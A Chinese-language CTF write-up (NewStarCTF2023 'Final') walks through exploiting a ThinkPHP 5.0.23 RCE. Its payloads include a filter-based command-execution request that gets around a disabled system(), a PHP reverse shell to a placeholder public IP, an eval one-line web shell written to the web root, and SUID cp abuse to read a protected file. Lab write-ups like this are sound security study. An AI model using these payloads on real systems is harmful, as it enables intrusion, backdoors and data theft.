【NewStarCTF2023】Final thinkphp 漏洞与提权

题目描述

打开靶机后, 是一个 thinkphp 的默认页面, 所以很有可能就是挖掘 thinkphp 的漏洞, 先在路径上输入一些默认参数查看其版本号.

可以看到是 ThinkPHP V5.0.23.

解题过程

去谷歌搜索 ThinkPHP V5.0.23 漏洞, 发现有 RCE 漏洞,用 POST 构造请求参数为 /?s=captcha 构造的 payload 为

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

这边的用法是 filter[] 参数中输入要执行的命令类型,server[REQUEST_METHOD] 里输入要执行命令的参数.

构造 payload 发送后没有回显, 说明很有可能把 system 给禁止了, 所以构造下面这个 payload 看看他的 phpinfo

1
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=5

看到了他把 system 命令给禁用了:

所以这里使用其他的命令去绕过, 比如 exec, passthru

构造 payload

1
_method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=ls /

这样能够看到 ls 后的内容, 但是这里去 cat flag 的时候发现读不出来东西, 先弹个 shell, 构造 payload

1
_method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=php -r '$sock=fsockopen("公网ip", 监听端口);exec("sh <&3 >&3 2>&3");'

vps 上使用

1
nc -lvnp 端口

成功反弹 shell, 然后输入命令

1
ls -la /

发现 flag 文件设置了高权限可读, 所以这里要想办法提权获取到文件.

调用命令查看一下高权限的操作

1
find / -perm -u=s -type f 2>/dev/null

发现 cp 命令是高权限操作, 但是我在提权过程中发现由于 用户的权限太低, 环境变量用不了, 又不能使用 sudo 命令, 而且也查看不了定时任务, 根本没办法用反弹的 shell 进行提权.

由于 thinkphp 那个漏洞似乎是可以写入一句话木马的, 所以尝试去写入一句话木马, 把输出流绑定到木马文件上, 然后用蚁剑链接, 用 cp 命令把文件内容复制到输出流上提权读取文件, 构造 payload 为

1
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/shell.php

然后以 shell.php 作为路径, cmd作为链接密码, 即可 getshell

然后在蚁剑命令终端中, 尝试用 cp 命令将文件内容复制到输出流 /dev/stdout

1
cp /flag_dd3f6380aa0d /dev/stdout

最后获得 flag.